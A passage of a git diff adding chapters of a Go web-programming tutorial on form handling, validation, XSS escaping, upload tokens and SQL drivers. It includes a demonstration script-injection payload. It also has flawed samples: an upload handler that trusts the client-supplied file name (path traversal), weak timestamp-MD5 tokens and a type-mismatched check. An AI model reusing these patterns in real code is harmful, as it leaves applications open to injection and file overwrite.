`http://127.0.0.1:9090/login` in your browser. + +![](images/4.1.login.png?raw=true) + +Figure 4.1 User login interface + +The server will not print anything until after we type in a username and password, because the handler doesn't parse the form until we call `r.ParseForm()`. Let's add `r.ParseForm()` before `fmt.Println("username:", r.Form["username"])`, compile our program and test it again. You will find that the information is printed on the server side now. + +`r.Form` contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places. + +Try changing the value of the action in the form `http://127.0.0.1:9090/login` to `http://127.0.0.1:9090/login?username=astaxie` in the `login.gtpl` file, test it again, and you will see that the slice is printed on the server side. + +![](images/4.1.slice.png?raw=true) + +Figure 4.2 Server prints request data + +The type of `request.Form` is `url.Values`. It saves data with the format `key=value`. +```Go + v := url.Values{} + v.Set("name", "Ava") + v.Add("friend", "Jess") + v.Add("friend", "Sarah") + v.Add("friend", "Zoe") + // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" + fmt.Println(v.Get("name")) + fmt.Println(v.Get("friend")) + fmt.Println(v["friend"]) +``` +**Tips** Requests have the ability to access form data using the `FormValue()` method. For example, you can change `r.Form["username"]` to `r.FormValue("username")`, and Go calls `r.ParseForm` automatically. Notice that it returns the first value if there are arguments with the same name, and it returns an empty string if there is no such argument. + +## Links + +- [Directory](preface.md) +- Previous section: [User form](04.0.md) +- Next section: [Verification of inputs](04.2.md) diff --git a/th/04.2.md b/th/04.2.md new file mode 100644 index 000000000..cb618900e --- /dev/null +++ b/th/04.2.md @@ -0,0 +1,141 @@ +# 4.2 Verification of inputs + +One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to validate all incoming data before using it. Many websites are affected by this problem, which is simple yet crucial. + +There are two ways of verifying form data that are in common use. The first is JavaScript validation on the front-end, and the second is server validation on the back-end. In this section, we are going to talk about server side validation in web development. + +## Required fields + +Sometimes we require that users input some fields but they fail to complete the field. For example in the previous section when we required a username. You can use the `len` function to get the length of a field in order to ensure that users have entered something. +```Go + if len(r.Form["username"][0])==0{ + // code for empty field + } +``` +`r.Form` treats different form element types differently when they are blank. For empty textboxes, text areas and file uploads, it returns an empty string; for radio buttons and check boxes, it doesn't even create the corresponding items. Instead, you will get errors if you try to access it. Therefore, it's safer to use `r.Form.Get()` to get field values since it will always return empty if the value does not exist. On the other hand, `r.Form.Get()` can only get one field value at a time, so you need to use `r.Form` to get the map of values. + +## Numbers + +Sometimes you require numbers rather than other text for the field value. For example, let's say that you require the age of a user in integer form only, i.e 50 or 10, instead of "old enough" or "young man". If we require a positive number, we can convert the value to the `int` type first, then process it. +```Go + getint,err:=strconv.Atoi(r.Form.Get("age")) + if err!=nil{ + // error occurs when convert to number, it may not a number + } + + // check range of number + if getint >100 { + // too big + } +``` +Another way to do this is by using regular expressions. +```Go + if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false + } +``` +For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast enough. If you are familiar with regular expressions, it's a very convenient way to verify data. Notice that Go uses [RE2](http://code.google.com/p/re2/wiki/Syntax), so all UTF-8 characters are supported. + +## Chinese + +Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random characters. For Chinese verification, regular expressions are the only way. +```Go +if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m { + return false +} +``` +## English letters + +Sometimes we need users to input only English letters. For example, we require someone's English name, like astaxie instead of asta谢. We can easily use regular expressions to perform our verification. +```Go +if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false +} +``` +## E-mail address + +If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression: +```Go + if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") + }else{ + fmt.Println("yes") + } +``` +## Drop down list + +Let's say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent this from happening? + +Suppose we have the following ` + + + + +``` +We can use the following strategy to sanitize our input: +```Go + slice:=[]string{"apple","pear","banana"} + + for _, v := range slice { + if v == r.Form.Get("fruit") { + return true + } + } + return false +``` +All the functions I've shown above are in my open source project for operating on slices and maps: [https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) + +## Radio buttons + +If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female. However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program throw an exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only expected values are returned by our radio button. +```html + Male + Female +``` +And we use the following code to validate the input: +```Go + slice:=[]int{1,2} + + for _, v := range slice { + if v == r.Form.Get("gender") { + return true + } + } + return false +``` +## Check boxes + +Suppose there are some check boxes for user interests, and that you don't want extraneous values here either. You can validate these ase follows: +```html + Football + Basketball + Tennis +``` +In this case, the sanitization is a little bit different to validating the button and check box inputs since here we get a slice from the check boxes. +```Go +slice:=[]string{"football","basketball","tennis"} +a:=Slice_diff(r.Form["interest"],slice) +if a == nil{ + return true +} + +return false +``` +## Date and time + +Suppose you want users to input valid dates or times. Go has the `time` package for converting year, month and day to their corresponding times. After that, it's easy to check it. +```Go + t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) + fmt.Printf("Go launched at %s\n", t.Local()) +``` +After you have the time, you can use the `time` package for more operations, depending on your needs. + +In this section, we've discussed some common methods of validating form data on the server side. I hope that you now understand more about data validation in Go, especially how to use regular expressions to your advantage. + +## Links + +- [Directory](preface.md) +- Previous section: [Process form inputs](04.1.md) +- Next section: [Cross site scripting](04.3.md) diff --git a/th/04.3.md b/th/04.3.md new file mode 100644 index 000000000..389062752 --- /dev/null +++ b/th/04.3.md @@ -0,0 +1,68 @@ +# 4.3 Cross site scripting + +Today's websites have much more dynamic content in order to improve user experience, which means that we must provide dynamic information depending on every individual's behavior. Unfortunately, dynamic websites are susceptible to malicious attacks known as "Cross site scripting" (known as "XSS"). Static websites are not susceptible to Cross site scripting. + +Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with spam. The attackers can also change user settings to whatever they want. + +If you wish to prevent this kind of attack, you should combine the following two approaches: + +- Validation of all data from users, which we talked about in the previous section. +- Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers. + +So how can we do these two things in Go? Fortunately, the `html/template` package has some useful functions to escape data as follows: + +- `func HTMLEscape(w io.Writer, b []byte)` escapes b to w. +- `func HTMLEscapeString(s string) string` returns a string after escaping from s. +- `func HTMLEscaper(args ...interface{}) string` returns a string after escaping from multiple arguments. + +Let's change the example in section 4.1: +```Go + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients +``` +If someone tries to input the username as ``, we will see the following content in the browser: + +![](images/4.3.escape.png?raw=true) + +Figure 4.3 JavaScript after escaped + +Functions in the `html/template` package help you to escape all HTML tags. What if you just want to print `` to browsers? You should use `text/template` instead. +```Go + import "text/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") +``` +Output: +```html +Hello, ! +``` +Or you can use the `template.HTML` type : +Variable content will not be escaped if its type is `template.HTML`. +```Go + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", template.HTML("")) +``` +Output: +```html +Hello, ! +``` +One more example of escaping: +```Go + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") +``` +Output: +```html +Hello, <script>alert('you have been pwned')</script>! +``` +## Links + +- [Directory](preface.md) +- Previous section: [Verification of inputs](04.2.md) +- Next section: [Duplicate submissions](04.4.md) diff --git a/th/04.4.md b/th/04.4.md new file mode 100644 index 000000000..2353ae5f2 --- /dev/null +++ b/th/04.4.md @@ -0,0 +1,59 @@ +# 4.4 Duplicate submissions + +I don't know if you've ever seen some blogs or BBS' that have more than one post that are exactly the same, but I can tell you that it's because users submitted duplicate post forms. There are many things that can cause duplicate submissions; sometimes users just double click the submit button, or they want to modify some content after posting and press the back button. In some cases it is by the intentional actions of malicious users. It's easy to see how duplicate submissions can lead to many problems. Thus, we have to use effective means to prevent it. + +The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has been submitted. + +Let's improve the example from section 4.2: +```html + Football + Basketball + Tennis + Username: + Password: + + +``` +We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted. +```Go +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) // get request method + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + // log in request + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + // check token validity + } else { + // give error if no token + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client + } +} + +``` + +![](images/4.4.token.png?raw=true) + +Figure 4.4 The content in browser after adding a token + +You can refresh this page and you will see a different token every time. This ensures that every form is unique. + +For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all deceptive attacks of this type. There is much more work that needs to be done. + +## Links + +- [Directory](preface.md) +- Previous section: [Cross site scripting](04.3.md) +- Next section: [File upload](04.5.md) diff --git a/th/04.5.md b/th/04.5.md new file mode 100644 index 000000000..6a622b890 --- /dev/null +++ b/th/04.5.md @@ -0,0 +1,169 @@ +# 4.5 File upload + +Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement that functionality? + +You have to add property `enctype` to the form that you want to use for uploading photos. There are three possible values for this property: + +``` +application/x-www-form-urlencoded Transcode all characters before uploading (default). +multipart/form-data No transcoding. You must use this value when your form has file upload controls. +text/plain Convert spaces to "+", but no transcoding for special characters. +``` + + +Therefore, the HTML content of a file upload form should look like this: + +```html + + + Upload file + + +
+ + + +
+ + +``` + + +We need to add a function on the server side to handle this form. + +```Go +http.HandleFunc("/upload", upload) + +// upload logic +func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) + if err != nil { + fmt.Println(err) + return + } + defer f.Close() + io.Copy(f, file) + } +} +``` + + +As you can see, we need to call `r.ParseMultipartForm` for uploading files. The function ParseMultipartForm takes the `maxMemory` argument. After you call `ParseMultipartForm`, the file will be saved in the server memory with `maxMemory` size. If the file size is larger than `maxMemory`, the rest of the data will be saved in a system temporary file. You can use `r.FormFile` to get the file handle and use `io.Copy` to save to your file system. + +You don't need to call `r.ParseForm` when you access other non-file fields in the form because Go will call it when it's necessary. Also, calling `ParseMultipartForm` once is enough -multiple calls make no difference. + +We use three steps for uploading files as follows: + +1. Add `enctype="multipart/form-data"` to your form. +2. Call `r.ParseMultipartForm` on the server side to save the file either to memory or to a temporary file. +3. Call `r.FormFile` to get the file handle and save to the file system. + +The file handler is the `multipart.FileHeader`. It uses the following struct: + +```Go +type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields +} +``` + +![](images/4.5.upload2.png?raw=true) + +Figure 4.5 Print information on server after receiving file. + +## Clients upload files + +I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well. + +```Go +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + // this step is very important + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } + + // open file handle + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + defer fh.Close() + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err + } + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil +} + +// sample usage +func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) +} +``` + + +The above example shows you how to use a client to upload files. It uses `multipart.Write` to write files into cache and sends them to the server through the POST method. + +If you have other fields that need to write into data, like username, call `multipart.WriteField` as needed. + +## Links + +- [Directory](preface.md) +- Previous section: [Duplicate submissions](04.4.md) +- Next section: [Summary](04.6.md) diff --git a/th/04.6.md b/th/04.6.md new file mode 100644 index 000000000..ae01c2651 --- /dev/null +++ b/th/04.6.md @@ -0,0 +1,11 @@ +# 4.6 Summary + +In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and uploading files. We also emphasized that validating user data is extremely important for website security, and we used one section to talk about how to filter data with regular expressions. + +I hope that you now know more about the communication process between client and server. + +## Links + +- [Directory](preface.md) +- Previous section: [File upload](04.5.md) +- Next chapter: [Database](05.0.md) diff --git a/th/05.0.md b/th/05.0.md new file mode 100644 index 000000000..03b3598a9 --- /dev/null +++ b/th/05.0.md @@ -0,0 +1,13 @@ +# 5 Database + +For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles. + +Go doesn't provide any database drivers, but it does have a driver interface defined in the `database/sql` package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go. In sections 5.2 to 5.4, I will introduce some SQL database drivers to you. In section 5.5, I will present the ORM that I have developed which is based on the `database/sql` interface standard. It is compatible with most drivers that have implemented the `database/sql` interface, and it makes it easy to access databases idiomatically in Go. + +NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 4 Summary](04.6.md) +- Next section: [database/sql interface](05.1.md) diff --git a/th/05.1.md b/th/05.1.md new file mode 100644 index 000000000..1a9aa8ebc --- /dev/null +++ b/th/05.1.md @@ -0,0 +1,204 @@ +# 5.1 database/sql interface + +Go doesn't provide any official database drivers, unlike other languages like PHP which do. However, it does have some database driver interface standards for developers to develop database drivers with. The advantage is that if your code is developed according to these interface standards, you will not need to change any code if your database changes. Let's see what these database interface standards are. + +## sql.Register + +This function is in the `database/sql` package for registering database drivers when you use third-party database drivers. All of these should call the `Register(name string, driver driver.Driver)` function in `init()` in order to register themselves. + +Let's take a look at the corresponding mymysql and sqlite3 driver code: +```Go + //https://github.com/mattn/go-sqlite3 driver + func init() { + sql.Register("sqlite3", &SQLiteDriver{}) + } + + //https://github.com/mikespook/mymysql driver + // Driver automatically registered in database/sql + var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} + func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) + } +``` +We see that all third-party database drivers implement this function to register themselves, and Go uses a map to save user drivers inside of `database/sql`. +```Go + var drivers = make(map[string]driver.Driver) + + drivers[name] = driver +``` +Therefore, this registration function can register as many drivers as you may require, each with different names. + +We always see the following code when we use third-party drivers: +```Go + import ( + "database/sql" + _ "github.com/mattn/go-sqlite3" + ) +``` +Here, the underscore (also known as a 'blank') `_` can be quite confusing for many beginners, but this is a great feature in Go. We already know that this underscore identifier is used for discarding values from function returns, and also that you must use all packages that you've imported in your code in Go. So when the blank is used with import, it means that you need to execute the init() function of that package without directly using it, which is a perfect fit for the use-case of registering database drivers. + +## driver.Driver + +`Driver` is an interface containing an `Open(name string)` method that returns a `Conn` interface. +```Go + type Driver interface { + Open(name string) (Conn, error) + } +``` +This is a one-time Conn, which means it can only be used once per goroutine. The following code will cause errors to occur: +```Go + ... + go goroutineA (Conn) // query + go goroutineB (Conn) // insert + ... +``` +Because Go has no idea which goroutine does which operation, the query operation may get the result of the insert operation, and vice-versa. + +All third-party drivers should have this function to parse the name of Conn and return the correct results. + +## driver.Conn + +This is a database connection interface with some methods, and as i've said above, the same Conn can only be used once per goroutine. +```Go + type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) + } +``` +- `Prepare` returns the prepare status of corresponding SQL commands for querying and deleting, etc. +- `Close` closes the current connection and cleans resources. Most third-party drivers implement some kind of connection pool, so you don't need to cache connections which can cause unexpected errors. +- `Begin` returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back transactions, etc. + +## driver.Stmt + +This is a ready status that corresponds with Conn, so it can only be used once per goroutine (as is the case with Conn). +```Go + type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) + } +``` +- `Close` closes the current connection but still returns row data if it is executing a query operation. +- `NumInput` returns the number of obligate arguments. Database drivers should check their caller's arguments when the result is greater than 0, and it returns -1 when database drivers don't know any obligate argument. +- `Exec` executes the `update/insert` SQL commands prepared in `Prepare`, returns `Result`. +- `Query` executes the `select` SQL command prepared in `Prepare`, returns row data. + +## driver.Tx + +Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these two methods. +```Go + type Tx interface { + Commit() error + Rollback() error + } +``` +## driver.Execer + +This is an optional interface. +```Go + type Execer interface { + Exec(query string, args []Value) (Result, error) + } +``` +If the driver doesn't implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt. After that it executes the Exec method of Stmt, then closes Stmt. + +## driver.Result + +This is the interface for results of `update/insert` operations. +```Go + type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) + } +``` +- `LastInsertId` returns auto-increment Id number after a database insert operation. +- `RowsAffected` returns rows that were affected by query operations. + +## driver.Rows + +This is the interface for the result of a query operation. +```Go + type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error + } +``` +- `Columns` returns field information of database tables. The slice has a one-to-one correspondence with SQL query fields only, and does not return all fields of that database table. +- `Close` closes Rows iterator. +- `Next` returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more data is available. + +## driver.RowsAffected + +This is an alias of int64, but it implements the Result interface. +```Go + type RowsAffected int64 + + func (RowsAffected) LastInsertId() (int64, error) + + func (v RowsAffected) RowsAffected() (int64, error) +``` +## driver.Value + +This is an empty interface that can contain any kind of data. +```Go + type Value interface{} +``` +The Value must be something that drivers can operate on or nil, so it should be one of the following types: +```Go + int64 + float64 + bool + []byte + string [*] Except Rows.Next which cannot return string + time.Time +``` +## driver.ValueConverter + +This defines an interface for converting normal values to driver.Value. +```Go + type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) + } +``` +This interface is commonly used in database drivers and has many useful features: + +- Converts driver.Value to a corresponding database field type, for example converts int64 to uint16. +- Converts database query results to driver.Value. +- Converts driver.Value to a user defined value in the `scan` function. + +## driver.Valuer + +This defines an interface for returning driver.Value. +```Go + type Valuer interface { + Value() (Value, error) + } +``` +Many types implement this interface for conversion between driver.Value and itself. + +At this point, you should know a bit about developing database drivers in Go. Once you can implement interfaces for operations like add, delete, update, etc., there are only a few problems left related to communicating with specific databases. + +## database/sql + +database/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool. +```Go + type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool + } +``` +As you can see, the `Open` function returns a DB that has a freeConn, and this is a simple connection pool. Its implementation is very simple and ugly. It uses `defer db.putConn(ci, err)` in the Db.prepare function to put a connection into the connection pool. Everytime you call the Conn function, it checks the length of freeConn. If it's greater than 0, that means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns. + +## Links + +- [Directory](preface.md) +- Previous section: [Database](05.0.md) +- Next section: [MySQL](05.2.md) diff --git a/th/05.2.md b/th/05.2.md new file mode 100644 index 000000000..c880bfa74 --- /dev/null +++ b/th/05.2.md @@ -0,0 +1,127 @@ +# 5.2 MySQL + +The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is famous because it's open source and easy to use. As such, it has become the de-facto database in the back-ends of many websites. + +## MySQL drivers + +There are a couple of drivers that support MySQL in Go. Some of them implement the `database/sql` interface, and others use their own interface standards. + +- [https://github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) supports `database/sql`, written in pure Go. +- [https://github.com/ziutek/mymysql](https://github.com/ziutek/mymysql) supports `database/sql` and user defined interfaces, written in pure Go. + +I'll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons: + +- It's a new database driver and supports more features. +- It fully supports `database/sql` interface standards. +- Supports keep-alive, long connections with thread-safety. + +## Samples + +In the following sections, I'll use the same database table structure for different databases, then create SQL as follows: +```sql + CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) + ); +``` +The following example shows how to operate on a database based on the `database/sql` interface standards. +```Go + package main + + import ( + _ "github.com/go-sql-driver/mysql" + "database/sql" + "fmt" + ) + + func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + rows.Close() + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } +``` +Let me explain a few of the important functions here: + +- `sql.Open()` opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports following formats: + + user@unix(/path/to/socket)/dbname?charset=utf8 + user:password@tcp(localhost:5555)/dbname?charset=utf8 + user:password@/dbname + user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname + +- `db.Prepare()` returns a SQL operation that is going to be executed. It also returns the execution status after executing SQL. +- `db.Query()` executes SQL and returns a Rows result. +- `stmt.Exec()` executes SQL that has been prepared and stored in Stmt. + +Note that we use the format `=?` to pass arguments. This is necessary for preventing SQL injection attacks. + +## Links + +- [Directory](preface.md) +- Previous section: [database/sql interface](05.1.md) +- Next section: [SQLite](05.3.md) diff --git a/th/05.3.md b/th/05.3.md new file mode 100644 index 000000000..ea5c375aa --- /dev/null +++ b/th/05.3.md @@ -0,0 +1,150 @@ +# 5.3 SQLite + +SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded database solution, SQLite is worth considering. You can say SQLite is the open source version of Access. + +## SQLite drivers + +There are many database drivers for SQLite in Go, but many of them do not support the `database/sql` interface standards. + +- [https://github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) supports `database/sql`, based on cgo. +- [https://github.com/feyeleanor/gosqlite3](https://github.com/feyeleanor/gosqlite3) doesn't support `database/sql`, based on cgo. +- [https://github.com/phf/go-sqlite3](https://github.com/phf/go-sqlite3) doesn't support `database/sql`, based on cgo. + +The first driver is the only one that supports the `database/sql` interface standard in its SQLite driver, so I use this in my projects -it will make it easy to migrate my code in the future if I need to. + +## Samples + +We create the following SQL: +```sql + CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL + ); +``` +An example: +```Go + package main + + import ( + "database/sql" + "fmt" + "time" + _ "github.com/mattn/go-sqlite3" + ) + + func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + var uid int + var username string + var department string + var created time.Time + + for rows.Next() { + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + rows.Close() //good habit to close + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } +``` +You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of the registered driver and called `sql.Open` to connect to SQLite in a different way. + +Note that sometimes you can't use the `for` statement because you don't have more than one row, then you can use the `if` statement +```Go + if rows.Next() { + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } +``` +Also you have to do a `rows.Next()`, without using that you can't fetch data in the `Scan` function. + +Transactions +=============== + +The above example shows how you fetch data from the database, but when you want to write a web application then it will not only be necessary to fetch data from the db but it will also be required to write data into it. For that purpose, you should use transactions because for various reasons, such as having multiple go routines which access the database, the database might get locked. This is undesirable in your web application and the use of transactions is effective in ensuring your database activities either pass or fail completely depending on circumstances. It is clear that using transactions can prevent a lot of things from going wrong with the web app. +```Go + trashSQL, err := database.Prepare("update task set is_deleted='Y',last_modified_at=datetime() where id=?") + if err != nil { + fmt.Println(err) + } + tx, err := database.Begin() + if err != nil { + fmt.Println(err) + } + _, err = tx.Stmt(trashSQL).Exec(id) + if err != nil { + fmt.Println("doing rollback") + tx.Rollback() + } else { + tx.Commit() + } +``` +As it is clear from the above block of code, you first prepare a statement, after which you execute it, depending on the output of that execution then you either roll it back or commit it. + + +As a final note on this section, there is a useful SQLite management tool available: [http://sqlitebrowser.org](http://sqlitebrowser.org) + +## Links + +- [Directory](preface.md) +- Previous section: [MySQL](05.2.md) +- Next section: [PostgreSQL](05.4.md) diff --git a/th/05.4.md b/th/05.4.md new file mode 100644 index 000000000..26c0e0201 --- /dev/null +++ b/th/05.4.md @@ -0,0 +1,123 @@ +# 5.4 PostgreSQL + +PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source software. It's larger than MySQL because it's designed for enterprise usage as an alternative to Oracle. Postgresql is a good choice for enterprise type projects. + +## PostgreSQL drivers + +There are many database drivers available for PostgreSQL. Here are three examples of them: + +- [https://github.com/lib/pq](https://github.com/lib/pq) supports `database/sql`, written in pure Go. +- [https://github.com/jbarham/gopgsqldriver](https://github.com/jbarham/gopgsqldriver) supports `database/sql`, written in pure Go. +- [https://github.com/lxn/go-pgsql](https://github.com/lxn/go-pgsql) supports `database/sql`, written in pure Go. + +I will use the first one in the examples that follow. + +## Samples + +We create the following SQL: +```sql + CREATE TABLE userinfo + ( + uid serial NOT NULL, + username character varying(100) NOT NULL, + department character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) + ) + WITH (OIDS=FALSE); +``` +An example: +```Go + package main + + import ( + "database/sql" + "fmt" + _ "github.com/lib/pq" + "time" + ) + + const ( + DB_USER = "postgres" + DB_PASSWORD = "postgres" + DB_NAME = "test" + ) + + func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", 